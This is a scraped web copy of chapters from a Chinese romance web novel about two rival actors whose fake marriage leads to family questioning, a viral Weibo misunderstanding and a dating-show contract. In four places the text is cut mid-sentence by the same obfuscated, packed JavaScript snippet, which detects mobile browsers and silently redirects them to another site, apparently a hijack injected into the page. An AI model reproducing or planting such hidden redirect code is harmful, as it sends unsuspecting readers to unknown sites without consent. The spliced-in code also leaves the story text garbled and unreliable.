易淮江:“……” 易淮江面无表情地举着手机:“打算怎么交代?” 两人的手机上,那个名为“相亲相爱一家人”的群聊还在疯狂刷新着信息。 顾听舟只觉得头疼:“交代个屁。” 明天就离! * 眼前熟悉的别墅大门紧闭着,顾听舟撩起眼皮睨了眼边上站着的易淮江,略显惆怅地叹了口气。 早知道今天出门前就应该看看黄历。 这出假情侣的戏怎么演起来还没完没了了呢? “好好演,别拖我后腿。”顾听舟半点也不客气。 “滴”的一声轻响,门锁应声解开,易淮江轻车熟路地推开门,嗓音冷淡:“这话该送给你自己。” 祝玉和顾远博正坐在客厅里,顾听舟瞥了眼两人明显不好看的脸色,默默凑到更好说话的祝女士身旁给她捏肩:“妈咪~” 祝玉不吃他这套,轻飘飘拍开他的手,瞥了他一眼:“证呢?” 顾听舟摸了摸鼻尖,一边上交结婚证一边疯狂对着一旁站着的易淮江使眼色:“我们可以解释……” “祝姨、顾叔叔。” 易淮江把手里提着的见面礼在桌上摆好:“事出突然,是我们考虑不周。” 终于舍得开您那张尊口了?顾听舟在心底默默腹诽,面上却配合着点头。 顾远博扶了扶眼镜,看了看顾听舟,又看看易淮江,一双和顾听舟如出一辙的眉眼微微蹙起,沉声问:“小淮,叔叔阿姨从小看着你长大,你不是冲动行事的人。你们两个到底是怎么一回事?” 一听这话,顾听舟当即抬起了头。 什么叫易淮江不是冲动的人?当时明明也是这货先签的合同,怎么到他爸眼里,易淮江什么都还没说,就成了被逼婚的良家小白花了? 他刚要开口,却看见祝女士先他一步,毫不犹豫地一脚踩在了顾远博脚上。顾远博痛得一激灵,可一转头,对上老婆警告的眼神,却立刻噤了声。 祝玉收回视线,转头看向面前的人:“认真的?” 顾听舟点头如捣蒜:“当然是认真的!” 祝玉又看向易淮江。 易淮江颔首:“我和初初确实是认真考虑过的。” 嘶……顾听舟忍不住一阵牙酸。 虽说两家人都知道他的小名,他爸妈和易淮江他爸妈也常常这么叫他,但冷不丁从易淮江嘴里冒出来,总觉得像是过了遍制冷机,让人毛骨悚然。 来之前没说还有这个环节啊? 顾听舟仗着自己站在后面,瞄了眼注意力都在易淮江身上的自家爸妈,默默朝某人侧腰伸出了手。 易淮江却像是早有防备,在某只手拧上腰间的一瞬间,反手一把扣住了他的手腕。紧接着手腕一翻一扯,原本打算拿他当挡箭牌的顾听舟一个趔趄,就这么被他拽了上来。 两只手暗暗较着劲,顾听舟要扯回去,易淮江却扣着他腕骨没松开。顾听舟在心底咬牙切齿,这人后脑勺上是长眼睛了?这都能看见? 他垂眸看着两人战况焦灼的手,眉梢一挑,不松是吧? 顾听舟一咬牙一闭眼,修长的指节微屈,顺着那只冰凉凉的手直接握了上去,又怕易淮江临阵脱逃抽手,干脆顺着指缝钻了进去,来了个十指相扣。 两双略有差异却同样骨节分明的手就这么在某两位家长的眼皮子底下交握在了一处。指节压着指节,皮肉贴着皮肉,一冷一热紧密相贴。 察觉到易淮江投来的视线,顾听舟十足挑衅地扬了扬下巴。 让你刚才死活抓着我不放,有本事你就抽走。 掌心的温度高得像是贴了张功率高得可怕的暖宝宝,指尖被另一道的体温烫得不自觉蜷起,可刚一动,就被某个得意洋洋的家伙反手抓得更紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842507|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 易淮江:“……”这人到底又在发什么疯? 麻木地挪开视线,易淮江看向坐在沙发上的祝玉和顾远博,有条不紊地编造了一番九曲十八弯的恋爱史。 简单来说就是他和顾听舟虽然一直吵吵闹闹,但毕竟从小一起长大,又先后进入娱乐圈发展,单独相处久了,解开了一些误会,之后也就顺理成章地发展出了感情。 他扯谎扯得面不改色、有理有据,顾听舟站在一旁听他瞎编,心底叹为观止。要不是时机不对,他肯定要当场揭穿这人虚伪的嘴脸,拽着老顾的衣领让他看看清楚易淮江到底有多能骗人。 只可惜,他和易淮江现在是一条绳上的蚂蚱。 顾听舟用空着的手摸了摸耳垂上同样冰凉的银坠,默默叹了口气,故事编得挺好,但主角换成他跟易淮江,和鬼故事又有什么差别? 怪渗人的。 “……我们也是情急之下才选择领证公开,没来得及和叔叔阿姨报备,是我们的问题。”易淮江的认错态度异常诚恳,在两位家长眼里,又一向是个规规矩矩、懂事听话的好孩子,话都已经说到这个份上了,祝玉和顾远博相视一眼,也就没再为难两个孩子。 祝玉把结婚证塞回到顾听舟手里:“行叭行叭,真是越长大翅膀越硬。”她颇为不满地在儿子脑袋上点了下,“谈恋爱也不知道和我们说,喜欢男生怎么了,我长得很像棒打鸳鸯的恶毒后妈?” 顾听舟打蛇随棍上,立马抱住了祝女士的胳膊撒娇:“对不起嘛,下……” “嗯?”祝玉挑眉看他,眼神危险,“下什么?你难不成真要当渣男?” 顾听舟欲盖弥彰地咳了两声:“我是说……下次再有重要的事,我们一定提前讲。” “这还差不多。”祝玉哼了声,又忍不住交代,“你文姨和卫叔叔那边可没有我和老顾这么好说话,等他们回来,你要做好心理准备。” 顾听舟摸了摸鼻尖:“文姨他们不是才外派没多久么……?” 祝玉白了他一眼:“你以为是为什么?你个小兔崽子又把群消息屏蔽了是吧?” 顾听舟无辜:“冤枉!我真没有……消息太多看不过来嘛。” 祝玉看了眼正被顾远博抓着谈话的易淮江,叹了口气后才继续道:“结婚不是小事。你当谁都跟你似的,闹一场就能想干嘛就干嘛?你又不是不知道,你卫叔叔从一开始就不同意小淮演戏,两个人关系闹得很僵,去年过年好不容易聚一聚,结果又吵了一架,小淮在这边吃的年夜饭,后来说自己有事,当晚就自己开车走了。” 又吵? 顾听舟问:“后来呢?” 祝玉:“你以为我催你给他发红包是为什么?你忙工作回不了家,小淮又自己跑了,我做家长的总要查个岗。”说着,她又想起什么似的拍了下顾听舟的胳膊,“所以小淮大半夜的是跑去找你了?你还把人家拉黑了?” 顾听舟:“……” 按时间线来说似乎确实可以这么解释,但他并不是很想背这个锅。 “他也拉黑我了,我俩那时候是互相拉黑!”顾听舟理直气壮。 “你就仗着小淮脾气好可劲闹吧。”祝玉恨铁不成钢地戳了戳儿子的脑门,“迟早有天要好好吃顿教训。” “祝女士,你就不能盼着我点好?”顾听舟揉着脑门,视线却忍不住往某个背影上飘。 大过年的被赶出家门,不管放在谁身上听起来都怪可怜的…… 怎么偏偏就落到这倒霉催的头上了? 5. 发展奸情 问清楚了事情,祝玉和顾远博也没再刻意端着家长的架子,几个人简单聊了会,很快就到了饭点,于是顾听舟和易淮江十分顺理成章地留下蹭了顿饭。 保姆掐着点把各色美食端上了桌,每一盘都热气腾腾,色香味俱全,在饭菜香气的萦绕下,饭桌上的气氛显然轻松许多。 聊着聊着,不免又聊到工作。 祝玉瞥了眼吃得不亦乐乎的儿子:“初初,你真的不再考虑考虑?” 顾听舟头也不抬:“不考虑。我还要拍戏。” “拍戏和接手公司又不冲突。”祝玉不死心,“反正迟早也要交到你手上,早点熟悉熟悉业务有什么问题?” 顾听舟默默瞟了眼边上坐着的易淮江,很快又收回了视线,顺手夹了只鸡翅放进祝女士碗里,试图用美食贿赂。 “又要拍戏又要每天开会盯项目谈合同。”顾听舟一脸嫌弃,“祝女士,我是你生的,不是从石头缝里蹦出来的,三头六臂也禁不起这么造啊。” 顾听舟给自己夹了一筷子回锅肉,切成片的五花肉裹着浓郁的酱汁,入口麻辣鲜香、肥而不腻,一口下去让人胃口大开,当即又夹了一筷子,这才又道:“最重要的是,老顾一个大学教授,每天上上课喝喝茶已经够闲了,你要是再退休,你俩手牵着手过二人世界去了,我又要吃狗粮又要守着公司当牛马,我才不成全你俩。” “什么话?只要你愿意,进公司就直接当副总,等公司事务都熟悉了,总经理的位置就直接交给你了。”祝玉试图混淆视听。 “高级牛马。副总和总经理不也还是要上班?别以为我不知道你和老顾偷偷商量着坑我。”顾听舟摇头,“我才不干。” “那你想怎么样?” 顾听舟夹了一筷子清炒四季豆:“我也想退休。这样我也可以到处玩,还不用吃你俩狗粮。” “想得美。”祝玉无语,“再说了,你现在不是有小淮了么?已婚人士别老碰瓷单身狗。” 顾听舟一噎:“反正我不。你自己的公司自己管得好好的,总想着给我干什么?” 深知祝女士不达目的誓不罢休的性格,顾听舟三两口扒完饭,毫不客气地一把拽起了不知道在发什么呆的易淮江:“官宣的事公司说还要开个会,我俩就先走了,你们慢慢吃~”说完,不等他爸妈说话,当即拉着易淮江溜出了门。 出了门,两人的脚步都缓了下来。易淮江倏然回神,忍不住皱眉,顾听舟却先一步松开了抓着他手腕的手,嫌弃地甩了几下后抬眼看他:“想继续被盘问你自己回去,别带上我。” “想多了。”易淮江冷哼一声,脚步一转,直接打开了隔壁别墅的门锁。他爸妈都不在家,别墅里空空荡荡。 易淮江一边掏出手机给经纪人发消息,一边往里走:“不进来就把门关上。” 顾听舟朝着他的背影“嘁”了声,刚想开口,视线却不自觉落在了大门两侧年味十足的对联上。想起祝女士和他说的话,怼人的话到了嘴边,却像是被某根不知道哪来的小刺扎了下的气球,悄无声息地卸了劲。 顾听舟抿了抿唇,双手插兜,摸着口袋里的车钥匙,不情不愿地踹了脚门槛:“喂。” 耳垂上两枚银色的耳坠随着动作轻轻摇晃着,耀眼又夺目,一如耳坠的主人。易淮江在沙发上坐下,抬头便看见他梗着脖子地站在门外。 易淮江挑了挑眉,似笑非笑:“你真的很喜欢当门神。” “屁。”刚冒出点头的父爱瞬间一扫而空,顾听舟当即翻了个白眼,双手抱臂斜倚在了门口。 口袋里的车钥匙被他挂在指尖转了几圈,最后又一把接住握在掌心,威胁道:“车钥匙可还在我手上,某些人最好想清楚了再开口。” 易淮江:“……” 易淮江从容不迫:“请便。” “说得好像我想带你似的。”顾听舟不屑地嘟囔了句,当即拎着钥匙去了车库。 * 别墅区有严格的安保措施,进出的车辆都必须提前登记,等到经纪人开车来接人已经是半小时后。 “顾老师不在?”白朝彩往他身后瞄了眼。 “你对我们的关系有什么错误的认知?”易淮江坐在后座,一边低头翻着手机一边道。 白朝彩打着方向盘,想了一会后言简意赅:“青梅竹马?” 易淮江:“……” 易淮江纠正道:“是死对头。” “可你说你们从小一起长大。” 易淮江捏了捏鼻梁:“你应该庆幸顾听舟不在这辆车上,不然你会直接被丢下去。” “他从小就看我不顺眼,我也不喜欢他,认识了多少年就吵了多少年。”易淮江皱眉道。 你俩看不顺眼的方式就是互相给对方找不痛快?他五岁的小侄子都不这么干了。白朝彩踩着最后一秒开过十字路口的绿灯,在心里默默腹诽,随即转移了话题:“之后的行程和通告,你有什么想法?” “一切照常。”易淮江眼皮都没抬。 白朝彩却有别的想法:“我觉得可以把你目前的行程提前。和顾老师的合作虽然还没定下来,但肯定要花时间营业,之后就是夏导那边的电影……” 他话音还未落,易淮江手里的电话却忽然响了起来,当即收了声。 “夏导?”易淮江的语气带着淡淡的诧异,像是有些意外。 夏秋风的声音响得像是能穿透手机屏幕:“淮江,你不至于为了部电影这么拼命吧?你和顾听舟……真的假的?” 没等易淮江开口,他又万分不解地“嘶”了一声:“也不对啊。咱们也合作了这么多部电影了,男主定了你就是你的,你也不急这一两年,你不能是为了提早开机跟他合伙诓我呢吧?” 面对夏导可比面对祝姨和顾叔叔轻松多了。有了之前的经验,易淮江顺理成章地搬出了刚刚才在顾家试过的说辞,稍作删减后淡声解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842508|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我们很早就认识了,只是之前恰好在吵架,他一时冲动就没控制住情绪。” “后来虽然和好了但因为不方便公开,为了避嫌也就一直对外宣称关系不好。” “原本我们也没打算公开,只是刚好碰上这种事……” 他话说的委婉,但夏秋风也清楚,顾听舟这件事要是不能及时合理地处理干净,还能不能在娱乐圈继续待着都是个很大的问题。 他思考了半晌,半信半疑地问:“所以你俩真的在谈恋爱?” 易淮江揉了揉跳个不停的眉心:“嗯。” “我说你怎么这么突然……”夏导嘀咕了几句,话锋却突然一转,“你既然有对象,那这事就好办多了。” “这部电影要是赶得上,进度快的话,我打算冲一冲明年的金木奖,刚好你不是就差这一座大满贯吗,咱们强强联手,我觉得起码也有六七成的把握。” 夏导思索了一会,忽然道:“要不这样,反正你俩现在也官宣了,不如趁着这个机会挑一部好点的恋综,你俩去好好培养培养感情?” 夏导越讲越觉得可行:“你演感情戏的时候总是缺了点活气,反正一部综艺最多也就几个月,上了恋综好好和小顾找一找热恋时候的感觉。等综艺拍完了,你要是感觉找得差不多,电影也正好可以开拍了。” * 水龙头哗啦啦地开着闸,明亮的浴室里,顾听舟简单裹着件米色浴袍,懒懒散散地倚着盥洗台,抬手擦了擦镜子上氤氲的雾气,歪着脑袋摘耳朵上的耳坠。 银色的耳坠被放进专属的小盒子里收好,顾听舟慢悠悠又晃回到盥洗台前,接了杯水刷牙。 被随手搁在置物架上的手机十分不合时宜地响起,顾听舟叼着牙刷把手机捞了回来,刚摁下接通,一道石破天惊的声音从听筒里蹦了出来。 “顾听舟!!!” “你怎么回事!你什么时候结的婚怎么连我也不知道!我还是不是你最好的朋友了!” 得。又来了个兴师问罪的。 顾听舟被这震耳欲聋的连珠炮逼得没忍住往后躲远了点,等到对面终于停下来,他这才不慌不忙的含了口水,咕噜咕噜吐掉牙膏沫。 “打住!”顾听舟疑惑,“姜大设计师,你怎么也知道我结婚了?” “好啊你!”姜卓痛心疾首,“承认了是吧!没爱了是吧!好!我走!” “戏过了啊。” 顾听舟无奈道:“我今天上午才领的证,我怎么通知?打飞的去Y国把你从床上薅起来一起欣赏我的结婚证,然后告诉你没事了就给你看看你继续睡吧?”想了下那副无厘头的场景,顾听舟没忍住笑出了声,“是你有病还是我有病?” “结婚证是重点吗?重点是你什么时候谈的恋爱!跟谁谈的恋爱!”姜卓在看见热搜时甚至都怀疑自己是不是没睡醒,“和你领证的易淮江是我认识的那个易淮江吧?你俩到底什么时候发展的奸情!” 6. 夫夫生活 “大半夜的不要乱讲鬼故事。” 顾听舟拿毛巾把唇边沾着的一点牙膏沫擦净,呼吸间都是一股沁凉的薄荷牙膏味:“我和易某某最多只有纯粹的父子情。” “那你俩结婚证怎么解释?”姜卓反问。 顾听舟举着手机挪到飘窗旁,动作极其熟练地往那张懒人沙发里一倒,顺手从飘窗上捞了个胖嘟嘟的柴犬抱枕抱在怀里:“解释什么,我要反黑,他要接剧,假结婚各取所需,就这么简单。” “我靠?”姜卓惊叹,“假结婚?你和易淮江?舟舟,你要不先摸摸你额头?” “干什么?” “确认一下你是不是发烧了。”姜卓只觉得整个世界都变得玄幻起来了。 “没有。”顾听舟没好气道。 姜卓喃喃:“草,还是好离谱。” 顾听舟总算听到句正常的发言,且对这句话十分认可:“我也觉得。” 姜卓忍不住好奇:“那你俩……离吗?” “废话,肯定离啊。”顾听舟想也没想道,但随即又长叹了一口气,抱着胖柴犬翻了个身,换了个更舒服的姿势窝着,“但是要等合同到期,至少也还要三个月。” 他拿脑袋往柴犬软乎乎的脸上撞,哀怨道:“三个月啊,还不如杀了我。” 姜卓安慰他,“实在不行,等那个姓易的事情解决了,你努努力搞点事,你俩不是一直互相看不顺眼吗,他肯定也想离,等他被气到受不了了,你就趁热打铁把婚离了。” 说着,姜卓又想起来一件事:“噢对了,我过段时间估计要回国,你有没有什么想买的,我帮你带。” “耳环!”顾听舟想了想又补充道,“实在没有新款的话,手链颈链什么的也行。” “大少爷。”姜卓没忍住吐槽他,“除了首饰,你就没有什么别的想要的?每次回国我都觉得我像个代购。” “你不是吗?”顾听舟理直气壮,“你什么时候的飞机,我让助理去接你。” “没得很。”姜卓长叹一声,“起码要等我手头这个项目结束。” * 不知不觉,时间便已经走到了凌晨三点。 三月份的气温才刚刚开始回暖,房间里的暖气依然在兢兢业业地工作,低低地发出机器运转的蜂鸣声。 顾听舟打了个哈欠,终于放下了手头的资料。可刚关了灯躺下没多久,意识模糊中,小腹忽然传来一阵剧烈的绞痛。 顾听舟眯着眼睛,昏昏沉沉间只觉得自己像是被丢进了开了冷气的洗衣机里,胃里翻天覆地的不断翻搅着,痛得他猝然从半睡不睡的梦境中被迫抽离,醒来时,额角沁满了冷汗。 被迫痛醒的顾听舟紧皱着眉,强撑着从床上爬了起来,扶着墙进了厨房,动作熟练地在冰箱里翻了瓶果汁,断断续续地喝了小半瓶,又从柜子里掏了包饼干啃,过了好一会,痛感终于缓缓褪去。 胃里还是会时不时的抽痛,顾听舟没敢吃太多,拖拖拉拉地又爬回床上,靠坐着床头打算缓缓,于是从枕头下摸出了手机。 一打开了就直接刷新了他刚才还没来得及退出的微博页面。 揉着隐隐作痛的肚子,顾听舟叹了口气,动动手指,万分感慨地发了条新微博。 看了眼时间,已经是凌晨四点半了。删删改改半天,睡意也慢慢涌了上来,顾听舟打了个哈欠,十分珍惜生命地钻进了被窝。 与此同时,许多依然活跃在微博上的网友们惊讶的发现,从中午发过官宣微博后就再没有消息的顾听舟忽然登上了微博。过了没多久,他们更加惊奇地发现顾听舟竟然发了新动态。 循着消息提示点进入一看,网友们却难得的有些懵。 [@顾听舟Z:还是要早点睡,夜生活太丰富对身体不好。] 能在这个时间还睁着眼睛的网友,一个两个的,不仅闲,还总有着极其强烈的好奇心。原本或许还有人觉得顾听舟只是在劝粉丝们早点休息保重身体,可稍微往下一翻就能看到昨天新鲜出炉的“结婚证”官宣照。 已婚人士的夜生活还能丰富到哪里去?答案不言而喻。 很快这条微博就被截图搬运到了各个平台,无数睁眼到天明的夜猫子网友闻讯而来,于是一条名为#易淮江顾听舟夜生活#的词条很快就被不明缘由前来吃瓜的网友们顶上了热搜,并且随着天色渐亮,逐渐吸引来了更多的好奇网友。 …… 这一觉睡到天光大亮。 日光被绸质的窗帘过滤,只余下柔和的浅淡光线静悄悄地透进室内。 床上堆满了大大小小的玩偶,或坐或躺地把还在睡觉的青年保护在正中央。顾听舟睡得很沉,把一头柔软漂亮的金发都睡得乱糟糟的,静静闭着的眼皮上,缀着一点浅浅的红。一只近半人高的泰迪熊正被他紧紧抱在怀里。 忽然,被随手塞在枕头下的手机一亮,紧接着便响起了来电铃声。顾听舟下意识皱起了眉,把怀里的泰迪熊抱得紧了点,一个劲往被窝里躲。 但电话铃依然坚持不懈地响着,直到顾听舟终于忍受不住,半眯着眼睛,气冲冲地从枕头里扒拉出手机胡乱按下接通。 “韦高达!” 顾听舟的起床气正上头,咬着牙怒气冲冲,“你年终奖不想要了是吧!” 他昨天就没睡够,半夜又犯了胃病,好不容易能睡一觉又被一个电话吵醒。 电话那头的威廉说话都透着小心翼翼:“舟舟啊……你现在是一个人吧?” “废话。”顾听舟没好气道,“我还能半个人接电话?” “好好好,一个人就好。”威廉像是忽然松了口气,“你睡你睡,我过会去你家找你,你先好好休息。” “睡个鬼。”顾听舟眼底泛着淡淡的青色,心不甘情不愿地掀了被子坐起来,催促道,“有屁快放。” “一句两句的说不清楚,我马上就到……” 顾听舟懒得听他说废话,干脆利落地挂了电话,抱着被子醒了会神,过了好一会才下床洗漱。 一进门,威廉就递给了顾听舟一个平板。顾听舟忍着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842509|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一肚子火气打开平板,紧接着就看见了明晃晃挂在微博热搜第一的#江舟夜生活#词条。 “这是什么?”顾听舟的脸上写满了莫名其妙,顺手点了进去,然而下一秒就没了声。他不可置信地翻出了自己的手机,刚打开微博,后台又差点被消息挤爆。点进评论区一看,人更懵了。 热度靠前的几条评论,每一条都叠了数量极其恐怖的楼中楼。 [@挤挤江舟床底:我靠我靠我靠舟舟,这是可以说给我们听的吗/小脸通黄.jpg] [@薯片碎碎念:细嗦(掏出一把瓜子)] [@ka恰恰:什么!我一直以为yhj那个高冷男是个x冷淡来着,原来这么猛的吗!] [@亿勺八宝舟:老婆你今天怎么熬这么晚!!] 不是,他发个微博而已,怎么就和易淮江有关系了?? “……总的来说,这个热搜上得很值。”威廉安慰他,“至少从数据和舆论风向上看,昨天对你和易影帝结婚持怀疑态度的网友们,至少有80%现在都觉得你俩是真谈了。” “我不是我没有!”顾听舟心如死灰地捂住脸往后一倒,“我根本不是那个意思!而且我以前也熬夜,怎么全都在联想那种不正经的东西!” 顾听舟把手里的平板也扔了出去,他都没敢继续往下看,这评论区里的发言一个比一个大胆,等威廉一走他就挨个举报和谐掉! “毕竟你们现在是已婚……”威廉在顾听舟威胁意味十足的瞪视下默默把后半句话咽了回去,十分乖觉地捡起了平板转移话题。 “昨天我和白哥聊了下,以你和易影帝的人气,后续要保证稳定的同框出镜,最好的方式还是挑一部恋综。” 顾听舟眉头忍不住拧了起来,让他和易淮江独处都很难做到,还恋综?就算他俩能演,演技再好也没有24小时全天候待机的啊。 但威廉却不这么认为,他从平板上调出了一个表格:“舟舟,合体营业是写在合同里的条款,躲是躲不掉的。如果直接给你和易影帝接双人代言和其他类型的飞行嘉宾,首先就要绑定你们的长期行程,但排期依然不能确定,你们后续的同框曝光度也不一定对营业有帮助。” “而且你们官宣之后,确实是有不少恋综递了邀约,我和白哥简单筛过一遍。” “这个是《恋爱百分百》的综艺策划案,你先看看?”威廉调出了另一份文件,“这档恋综的制作团队还算不错,虽然偶尔会抽风搞事,但对比其他同期同类型的恋综,已经是最正常也最适合你们的了。” “虽说录制周期较长,但排期分散,对你们俩后续行程也不会有太大影响。除了节目需要,其他时候你俩完全可以各忙各的。” 威廉逐步给他分析,直到最后才抛出了对顾听舟而言最具吸引力的一条:“最重要的是,据说上恋综是夏导的建议,等恋综结束,易影帝那边就能无缝进组。” 顾听舟眼睛骤然一亮,易淮江能进组的话,不就意味着他俩能离婚了? “我接。” 7. 好不要脸 恋综的事就这么算是定下来了,威廉当即给白朝彩发了消息,两人又就综艺合同的内容商议了好一会。 顾听舟没插手,懒洋洋地窝在沙发里玩了会手机,直到外卖上门才慢悠悠起身。 没多久,客厅里就隐约飘起了食物的香气。威廉闻着味走进餐厅,顾听舟动作熟练地拆着包装,见他忙完了,朝另一份还没打开的包装袋扬了扬下巴:“你的,自己拆。” “咖喱饭?”威廉兴高采烈地凑过来拆了自己那份,却忽然想起顾听舟刚刚才提起自己胃疼的事,“你胃不是不舒服么,是不是不能吃辣的来着。” 顾听舟瞟了他一眼:“我原本打算吃酸辣粉的。” 威廉闻言一哽,立马改了口风:“咖喱好,不仅好吃还有营养,我们就吃咖喱。” 顾听舟懒得理他,拆了双筷子低头吃饭。 吃完饭,威廉又拉着顾听舟去了书房。 “我原本还以为你结婚的消息爆出去后会有相当一批粉丝脱粉,公关团队给出的应对方案里,最好的情况起码也要花上一段时间安抚粉丝,但没想到官宣之后你的粉丝数反而还涨了不少。” 说起正事,威廉的表情严肃了许多,低头从平板上调出了顾听舟微博账号的实时监控数据,“你看,你现在的微博粉丝数量已经突破九千万了,这里面起码有两百万是因为你和易影帝官宣被吸引来的CP粉。” “要脱粉的早就在我被黑的时候就跑光了。”顾听舟对自己的粉丝还是很了解的,“本来我也不吸女友粉。” 虽说长了这么一张漂亮到惊为天人的脸,但顾听舟的粉丝里女友粉还真不多,反而是妈粉和姐姐粉占大头。威廉思来想去,最后只能把原因归结到了顾听舟的性格上。 易燃易炸毛,虽然好哄但嘴硬得不行,比起当男朋友,确实更像个邻居家被宠大的漂亮弟弟。 威廉继续总结:“至于那个常嘉月,偷鸡不成蚀把米,她的评论区已经被网友们彻底攻陷了。要不是她经纪人花了大手笔保她,买了一大批水军搅混水,又到处洗通稿说她在剧组拍戏,是新招的助理拿着手机,所以才没看到消息。” “硬扒着我们吸血还要逼我们配合,现在事情败露了就推一个小助理出来顶包,什么人啊。”威廉愤愤地呸了一声,“还有她那个经纪人,也不是什么好东西!这次算他们走运,再有下次……” “别下次了。”顾听舟撩起眼皮,指了指门口,餐厅方向某部被遗忘的手机正在坚持不懈地响铃,“你手机响了。” * 《恋爱百分百》的导演怎么也没想到,自己不过是抱着试一试的心态给刚刚官宣的两位业内人气天花板递了邀约,却真的能接到两位经纪人的电话。 以易淮江和顾听舟的咖位,既然他们同意参演,很多不必要的繁琐流程和审核也就一并省去了,协议好正式签订合同的时间后,导演便马不停蹄地带着一众工作人员来到了海市。 周三,顾听舟刚下综艺,就被威廉开车带着赶去了木星娱乐。 等到顾听舟到场时,《恋爱百分百》的制片和导演,还有易淮江都已经各自落座了。 顾听舟视线一扫,瞥见坐在长桌前的易淮江,下巴微抬,刚要开口,就被身边紧跟着他的威廉一把拉了回来,操心操肺地在他耳边小声提醒:“祖宗,想想电影,想想进组!”最重要的是想想合同! 顾听舟不着痕迹地撇了撇嘴,他是那种不看场合的人吗?顾听舟把手抽了出来,步履从容地走到了易淮江对面,面朝着他坐下。 这几天的气温带着些料峭,顾听舟换了便装,只穿了一身简单的黑色卫衣和长裤。略显宽松的版型衬得脖颈纤细修长,领口处的锁骨更是若隐若现。不同于上一次见面时带着的银色耳坠,这次他的耳朵上只简单挂了两个样式简单的银环,脸上的妆还没卸,衬着金发浅瞳,比上次见面更添几分耀眼夺目的酷劲。 易淮江抬眸看了他一眼,又几不可查地皱了皱眉。 顾听舟光是从他微妙的眼神变化就能猜到这人心里在想什么,装模作样地理了理衣领,领口处露出的肌肤白的晃眼,丢回给他一个挑衅的眼神。 老古板。 易淮江凉凉地瞟他一眼,无语垂眸看向手里的合同。 两人你来我往的眼神示威和挑衅,在会议室内的其他人眼里,却成了眉来眼去和眼神交流,简直是两人亲密关系的最好印证。 导演笑着看过来:“看得出来,两位老师平时工作还是很忙啊。我们的节目呢,就是为了能让已婚的明星情侣们有一个面向观众的,能够和另一半共同生活并且将它记录下来的一个慢综……” 人已经到齐,导演便简单介绍了一遍节目的制作理念和大致方向。几人把最终版的合同仔细过了一遍,确认无误后,很快便在合同上签了名。 看着签名处并排列在一起的两个名字,顾听舟无意识地转着手里的笔,忽然想起了当时在民政局填的表。 明明签的都是正规合法的合同,但易淮江这个名字和他的名字一起出现,总是让他有种很诡异的微妙感。 合同一式三份,导演笑眯眯地把自己那份收好,脸上的笑容也愈发的灿烂。 自带话题和热度的艺人谁不喜欢?更何况是像易淮江和顾听舟这样又有颜值又有实力的演员,这可都是白送的人气和流量啊! 导演觉得自己已经能预见节目公开嘉宾时会是怎样一副热闹场景了。说不定还能带着《心动百分百》免费上几个热搜。 他越想越激动,眼睛都笑成了两条缝,把合同收好后,挨个跟两人握了握手:“希望后续合作愉快。” 说着,他又忍不住摸了摸下巴,乐呵呵道:“我一早就知道,肯定是那群营销号瞎编,两位老师明明就是天作之合。新婚快乐新婚快乐,希望我们节目也能沾沾两位老师的喜气。” 顾听舟脸上的笑容一顿。 易淮江波澜不惊地点点头:“借您吉言。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842510|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾听舟:“……”好不要脸。 正腹诽着,腰间忽然一紧,顾听舟一惊,还没来得及开口,易淮江先似笑非笑地看了他一眼,这才转头看向导演:“听舟还有行程要赶,我们就不送了,金导慢走。” 导演看看动作亲昵的易淮江,又看了看耳朵已经泛红的顾听舟。 就这两张脸,就这偷偷摸摸的小动作,还有这两人之间仅靠眼神都能交流的默契,简直是自然而然地在这两人之外竖起了一道亮得发光的屏障啊! 这要是让网上那些刚刚入坑的CP粉们看见了,不得直接上头? 导演越看越觉得自己这是被天降的大馅饼砸中了,直到离开时脸上都带着藏不住的笑。 “松手!” 等到会议室的门终于被再次关上,顾听舟才终于扒开了某人的爪子,咬牙切齿:“易淮江!” “礼尚往来。”易淮江挑了挑眉,从助理手里接过自己的手机,顺口评价道,“演技还有待精进。” 顾听舟一噎,这人果然是在报复上次微博的事。 可他发那条微博本身和易淮江可没有半毛钱关系,谁能想到网友们能曲解成……那个样子。 